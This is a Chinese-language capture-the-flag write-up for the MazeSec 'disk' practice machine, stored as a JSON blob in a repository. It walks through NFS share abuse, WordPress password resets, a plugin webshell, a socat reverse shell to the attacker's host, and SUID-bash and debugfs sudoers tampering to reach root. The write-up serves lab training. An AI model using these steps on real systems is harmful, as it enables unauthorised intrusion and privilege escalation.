Files
OpenCode 68a9071cf1 feat: reconcile local master with origin (exa/hot-platform hunters, leaks ledger, latest results)
Local branch had diverged from origin/master (sibling commits on the same base). Rewrote local history linearly on top of origin/master, folding in all local content: exa/hot-platform discovery hunters, leaks ledger, nightly sweep orchestrator, updated .gitignore and skill docs, plus the latest hunt output and vault state. Remote-only files (vault keys, channel scripts) were restored rather than dropped, so the resulting tree is a full union of both sides.
2026-08-07 12:53:47 +08:00

1 line
14 KiB
JSON
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"repo": "apursuit/the0n3-blog", "files": {"posts/13.MazeSec/05.maze-sec-disk.md": {"09fcec1dd70a17d53b2d486792e4b8ee27c8e694": {"t": 1786068589.8185484, "n": 10362, "h": "a1fe00128eaf60ba", "c": "---\r\ntitle: MazeSec disk 靶机\r\ndate: 2026-03-07 13:58:09\r\npermalink: /pages/maze-disk/\r\ncategories:\r\n - MazeSec\r\ntags:\r\n - disk组\r\nauthor: \r\n name: the0n3\r\n link: https://the0n3.top\r\n---\r\n\r\n\r\n## 靶机信息\r\n\r\n靶机名称:disk \r\n靶机作者:ll104567/群主 \r\n靶机类型:Linux \r\n难度:Easy \r\n来源:MazeSec/QQ公开群 321948805 \r\n官网:https://maze-sec.com/ \r\n\r\n**关键词**:Bash算术解析注入、NFS组提权、PHP命令注入、Linux提权\r\n\r\n**摘要**:通过枚举 RPC/NFS 服务挂载共享目录,窃取 WordPress 数据库凭证并重置管理员密码,在绕过 disable_functions 写入 Webshell 后,借助 LinPEAS 发现明文密码,利用 NFS 的 UID/GID 映射特性配合 SUID 二进制实现权限提升,最终通过 debugfs 修改 sudoers 文件获取 root 权限\r\n\r\n## 端口扫描\r\n\r\nnmap 参数说明\r\n\r\n- -p-:扫描所有端口\r\n- -sS:TCP SYN 扫描,也称为半开放扫描,因为它不会完成 TCP 握手过程。这种扫描方式较快且隐蔽,适用于发现开放的端口。\r\n- -n:不进行 DNS 解析,直接使用 IP 地址进行扫描,可以加快扫描速度。\r\n\r\n```bash\r\n└─$ nmap 192.168.6.108 -p- -sS -n \r\n\r\nPORT STATE SERVICE\r\n22/tcp open ssh\r\n80/tcp open http\r\n111/tcp open rpcbind\r\n2049/tcp open nfs\r\n43725/tcp open unknown\r\n43855/tcp open unknown\r\n50577/tcp open unknown\r\n56239/tcp open unknown\r\n```\r\n\r\n## rpc、nfs 服务信息挖掘\r\n\r\n\r\n开放了 22、80、111、2049 端口,分别对应 SSH、HTTP、RPC 和 NFS 服务。\r\n\r\n对于 111、2049端口,可以借助 deepseek 了解一下,或者通过hacktricks 了解一下 rpc 和 nfs 服务的相关漏洞。\r\n\r\n> Portmapper 是一个用于将网络服务端口映射到 RPC (Remote Procedure Call) 程序编号的服务\r\n\r\n> NFS (Network File System) 是一种分布式文件系统协议,允许用户在网络上访问远程文件系统,就像访问本地文件一样。\r\n\r\nrpcbind 和 nfs 服务通常同时存在,nfs 服务运行在 2049 端口,其他服务运行在随机端口上,rpcbind 服务运行在 111 端口上。rpcbind 服务负责将 RPC 程序编号映射到对应的端口号。\r\n\r\n![](/images/maze-disk/1.png)\r\n\r\n通过 hacktricks 给出的用法,对 rpc 服务、nfs 服务进行信息收集\r\n\r\n![](/images/maze-disk/2.png)\r\n\r\n![](/images/maze-disk/3.png)\r\n\r\n\r\n对 rpc 服务进行信息收集,可以发现 nfs 伴随着 mountd、nlockmgr 等服务一起运行,且 mountd 服务、nlockmgr 服务运行在多个随机端口上。\r\n\r\n```bash\r\n└─$ rpcinfo -T udp -p 192.168.6.108\r\n program vers proto port service\r\n 100000 4 tcp 111 portmapper\r\n 100000 3 tcp 111 portmapper\r\n 100000 2 tcp 111 portmapper\r\n 100000 4 udp 111 portmapper\r\n 100000 3 udp 111 portmapper\r\n 100000 2 udp 111 portmapper\r\n 100005 1 udp 58326 mountd\r\n 100005 1 tcp 56239 mountd\r\n 100005 2 udp 43422 mountd\r\n 100005 2 tcp 50577 mountd\r\n 100005 3 udp 39517 mountd\r\n 100005 3 tcp 43855 mountd\r\n 100003 3 tcp 2049 nfs\r\n 100003 4 tcp 2049 nfs\r\n 100227 3 tcp 2049 nfs_acl\r\n 100003 3 udp 2049 nfs\r\n 100227 3 udp 2049 nfs_acl\r\n 100021 1 udp 39610 nlockmgr\r\n 100021 3 udp 39610 nlockmgr\r\n 100021 4 udp 39610 nlockmgr\r\n 100021 1 tcp 43725 nlockmgr\r\n 100021 3 tcp 43725 nlockmgr\r\n 100021 4 tcp 43725 nlockmgr\r\n```\r\n\r\n\r\n\r\n使用 showmount 命令可以查看靶机共享的目录,`*` 表示允许任何主机访问挂载该共享目录。\r\n\r\n```bash\r\n└─$ showmount -e 192.168.6.108\r\nExport list for 192.168.6.108:\r\n/home/share *\r\n```\r\n\r\nkali 尝试挂载共享目录\r\n\r\n```bash\r\nmkdir -p /tmp/diskshare\r\n# -t nfs:指定文件系统类型为 NFS\r\n# -o nolock:禁用锁定机制\r\nsudo mount -t nfs 192.168.6.108:/home/share /tmp/diskshare -o nolock\r\n```\r\n\r\n进入共享目录,共享目录权限是 777!\r\n\r\n```bash\r\n└─$ cd /tmp/diskshare\r\n\r\n└─$ ls -alh\r\ntotal 12K\r\ndrwxrwxrwx 3 nobody nogroup 4.0K Mar 4 06:45 .\r\ndrwxrwxrwt 17 root root 420 Mar 7 01:15 ..\r\n-rw-r--r-- 1 root root 44 Mar 4 06:45 user.txt\r\ndrwxr-xr-x 5 root root 4.0K Mar 4 06:39 wordpress\r\n```\r\n\r\n可以看到共享目录下有一个 user.txt 文件和一个 wordpress 目录,user.txt 文件权限是 644,wordpress 目录权限是 755。wordpress 的wp-config.php 里可以找到数据库的用户名和密码,数据库用户名是 root,密码是 123456。\r\n\r\n```bash\r\n/** Database username */\r\ndefine( 'DB_USER', 'wp_user' );\r\n\r\n/** Database password */\r\ndefine( 'DB_PASSWORD', 'YourStrongPassword123!' );\r\n```\r\n\r\n\r\n## 80 端口信息挖掘\r\n\r\n访问 80 页面,一个登录页面,用户名密码硬编码在 js 里,没有实际作用\r\n\r\n![](/images/maze-disk/4.png)\r\n\r\n同时,html 源码里存在一个主机域名 `disk.dsz`,可以给hosts文件添加一行解析,后续可以尝试测试虚拟主机\r\n\r\n![](/images/maze-disk/7.png)\r\n\r\n目录扫描\r\n\r\n```bash\r\n# medium.txt 绝对路径 /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \r\n# 为了每次手打命令更方便,复制到家目录了\r\n└─$ gobuster dir -u http://192.168.6.108 -w ~/medium.txt -x php,txt,html,zip,bak -t 50\r\n\r\n/index.php (Status: 200) [Size: 7771]\r\n/dbadmin.php (Status: 200) [Size: 2910]\r\n```\r\n\r\n扫描发现 dbadmin.php 页面,一个数据库管理页面,可以通过前面拿到的数据库密码登录,存在用户 `111`、`admin`\r\n\r\n![](/images/maze-disk/5.png)\r\n\r\n![](/images/maze-disk/6.png)\r\n\r\n访问虚拟主机域名 `disk.dsz`,一个wordpress 站点,**恭喜111 成为测试团队队长!**\r\n\r\n![](/images/maze-disk/8.png)\r\n\r\n利用前面已经收集到的数据库管理页面,重置用户 `111`、`admin`的密码\r\n\r\n备份原哈希\r\n\r\n```plaintext\r\n111:$wp$2y$10$Dz/Cu3oiy0dzwe9akDQyTODKL70oMpBuhUwrN2AgPj1QkZyxUKNsm\r\nadmin:$wp$2y$10$NAtPiyytBt5OnS/myNDtieDLePPMtEaUTIq5lzO3rUS5ldsPOL2iy\r\n```\r\n\r\n通过查阅 wordpress 官方文档 https://developer.wordpress.org/reference/functions/wp_check_password/ ,以及源码验证,可以了解到 wordpress 对密码的哈希有多种兼容\r\n\r\n```php\r\n┌──(npc㉿kali)-[/tmp/diskshare/wordpress/wp-includes]\r\n└─$ cat pluggable.php | grep 'function wp_check_password' -A 30\r\n function wp_check_password(\r\n #[\\SensitiveParameter]\r\n $password,\r\n $hash,\r\n $user_id = ''\r\n ) {\r\n global $wp_hasher;\r\n\r\n if ( strlen( $hash ) <= 32 ) {\r\n // Check the hash using md5 regardless of the current hashing mechanism.\r\n $check = hash_equals( $hash, md5( $password ) );\r\n } elseif ( ! empty( $wp_hasher ) ) {\r\n // Check the password using the overridden hasher.\r\n $check = $wp_hasher->CheckPassword( $password, $hash );\r\n } elseif ( strlen( $password ) > 4096 ) {\r\n // Passwords longer than 4096 characters are not supported.\r\n $check = false;\r\n } elseif ( str_starts_with( $hash, '$wp' ) ) {\r\n // Check the password using the current prefixed hash.\r\n $password_to_verify = base64_encode( hash_hmac( 'sha384', $password, 'wp-sha384', true ) );\r\n $check = password_verify( $password_to_verify, substr( $hash, 3 ) );\r\n } elseif ( str_starts_with( $hash, '$P$' ) ) {\r\n // Check the password using phpass.\r\n require_once ABSPATH . WPINC . '/class-phpass.php';\r\n $check = ( new PasswordHash( 8, true ) )->CheckPassword( $password, $hash );\r\n } else {\r\n // Check the password using compat support for any non-prefixed hash.\r\n $check = password_verify( $password, $hash );\r\n }\r\n\r\n /**\r\n```\r\n\r\n\r\n- 如果哈希长度小于等于 32,使用 md5 验证\r\n- 如果全局变量 $wp_hasher 不为空,使用 $wp_hasher 的 CheckPassword 方法验证\r\n- 如果密码长度大于 4096,直接返回 false\r\n- 如果哈希以 '$wp' 开头,使用wordpress最新的前缀哈希验证\r\n- 如果哈希以 '$P$' 开头,使用 phpass 验证\r\n\r\n使用一条已知密码的 md5 哈希进行测试,修改111、admin用户密码\r\n\r\n```bash\r\n# -n 作用是禁止 echo 输出末尾的换行符,这样可以确保输出的字符串与哈希值完全匹配,避免因为换行符导致验证失败。\r\necho -n '111' | md5sum\r\n```\r\n\r\n或者直接使用 mysql 的md5函数\r\n\r\n```sql\r\nUPDATE wp_users SET user_pass = MD5('111') WHERE user_login = 'admin';\r\nUPDATE wp_users SET user_pass = MD5('111') WHERE user_login = '111';\r\n```\r\n\r\n修改后,可以使用111、admin用户登录后台,可以发现,111是真正的管理员,admin是一个订阅者,权限非常有限\r\n\r\n## 获取反弹 shell\r\n\r\n选择工具、插件编辑器、选择 helloDolly 插件,修改hello.php 文件,添加webshell,在未知 disable_funtions 的情况下,写一条 eval 语句,后续无需再修改文件。\r\n\r\n![](/images/maze-disk/9.png)\r\n\r\n插件处启用 helloDolly 插件,访问一次首页,手传payload\r\n\r\n![](/images/maze-disk/10.png)\r\n\r\ndisable_functions 禁用了system,passthru,shell_exec,proc_open,pcntl_exec,dl,使用 exec 函数执行反弹 shell 命令\r\n\r\n![](/images/maze-disk/11.png)\r\n\r\n尝试 socat 反弹shell,更丝滑一些\r\n\r\nkali 监听\r\n\r\n```bash\r\nsocat file:`tty`,raw,echo=0 tcp-listen:5555\r\n```\r\n\r\n靶机\r\n\r\n```bash\r\nsocat exec:\"bash -li\",pty,stderr,setsid,sigint,sane tcp:192.168.6.10:5555\r\n```\r\n\r\n## linpeas 密码发现\r\n\r\n> https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS\r\n\r\nkali 开启一个 http 服务,供靶机下载 linpeas.sh,使用 -a 参数进行全面的系统检查,可以发现用户 bigcatmiao 密码也是 bigcatmiao\r\n\r\nlinpeas 在运行 cloud 模块时,总是卡住一样,使用 -o 参数排除 cloud 模块\r\n\r\n```bash\r\nbash linpeas.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex\r\n```\r\n\r\n![](/images/maze-disk/12.png)\r\n\r\n> bigcatmiao:bigcatmiao\r\n\r\n## nfs 文件映射+组提权\r\n\r\n上线 bigcatmiao 用户后,尝试搜索 suid 文件,发现 suid 的 mount.nfs 文件\r\n\r\n```bash\r\nbigcatmiao@Disk:/home/share$ find / -perm -4000 -type f 2>/dev/null\r\n/usr/sbin/mount.nfs\r\n/usr/bin/chsh\r\n/usr/bin/chfn\r\n/usr/bin/newgrp\r\n/usr/bin/gpasswd\r\n/usr/bin/mount\r\n/usr/bin/su\r\n/usr/bin/umount\r\n/usr/bin/pkexec\r\n/usr/bin/sudo\r\n/usr/bin/passwd\r\n/usr/lib/dbus-1.0/dbus-daemon-launch-helper\r\n/usr/lib/eject/dmcrypt-get-device\r\n/usr/lib/openssh/ssh-keysign\r\n/usr/libexec/polkit-agent-helper-1\r\n```\r\n\r\n在 hacktricks 找 nfs 服务相关tricks,nfs 会对挂载的客户端用户的 uid、gid 进行映射,默认配置`root_squash/no_all_squash`,这意味着当 root 用户访问 nfs 共享目录时,会被映射为 nobody 用户,其他用户访问 nfs 共享目录时,保持原有的 uid、gid 不变!\r\n\r\n![](/images/maze-disk/14.png)\r\n\r\n配置文件\r\n\r\n```bash\r\nbigcatmiao@Disk:/home/share$ cat /etc/exports \r\n\r\n/home/share *(rw,sync,no_subtree_check)\r\n```\r\n\r\n只有一条记录,允许任何主机访问挂载该共享目录,且具有读写权限。其他使用默认,因此,root 用户访问 nfs 共享目录时,会被映射为 nobody 用户,其他用户访问 nfs 共享目录时,保持原有的 uid、gid 不变\r\n\r\n可以利用 gid 映射切换实际的组来提权,这台可以选择 shadow 组、disk组,shadow组可以读取 /etc/shadow 文件,破解 root 哈希,这里比较遗憾,爆破不出来\r\n\r\n靶机\r\n\r\n```bash\r\ncp /bin/bash /home/share/bash\r\n```\r\n\r\nkali\r\n\r\n```bash\r\n# 切换到 disk 组\r\nnewgrp disk\r\ncp bash bashDisk\r\nchmod +s bashDisk\r\n```\r\n\r\n回到靶机\r\n\r\n```bash\r\nls -alh \r\n-rwsr-sr-x 1 xxx disk 1.2M Mar 7 02:43 bashDisk\r\n./bashDisk -p\r\nid\r\nbashDisk-5.0$ id\r\nuid=1000(bigcatmiao) gid=1000(bigcatmiao) egid=6(disk) groups=6(disk),1000(bigcatmiao)\r\n```\r\n\r\n添加一条sudo规则\r\n\r\n```bash\r\nbigcatmiao@Disk:/home/share$ ./bashDisk -p\r\nbashDisk-5.0$ id\r\nuid=1000(bigcatmiao) gid=1000(bigcatmiao) egid=6(disk) groups=6(disk),1000(bigcatmiao)\r\nbashDisk-5.0$ echo \"bigcatmiao ALL=(ALL) NOPASSWD: ALL\" > /tmp/bigcatmiao\r\nbashDisk-5.0$ /usr/sbin/debugfs -w /dev/sda1\r\ndebugfs 1.44.5 (15-Dec-2018)\r\ndebugfs: write /tmp/bigcatmiao /etc/sudoers.d/bigcatmiao\r\nAllocated inode: 21\r\ndebugfs: ln <21> /etc/sudoers.d/bigcatmiao\r\ndebugfs: sif <21> i_mode 0100440\r\ndebugfs: sif <21> i_uid 0\r\ndebugfs: sif <21> i_gid 0\r\ndebugfs: q\r\nbashDisk-5.0$ sudo -l\r\nMatching Defaults entries for bigcatmiao on Disk:\r\n env_reset, mail_badpass,\r\n secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\r\n\r\nUser bigcatmiao may run the following commands on Disk:\r\n (ALL) NOPASSWD: ALL\r\nbashDisk-5.0$ \r\n```\r\n\r\n\r\n![](/images/maze-disk/15.png)\r\n\r\n\r\n"}}}}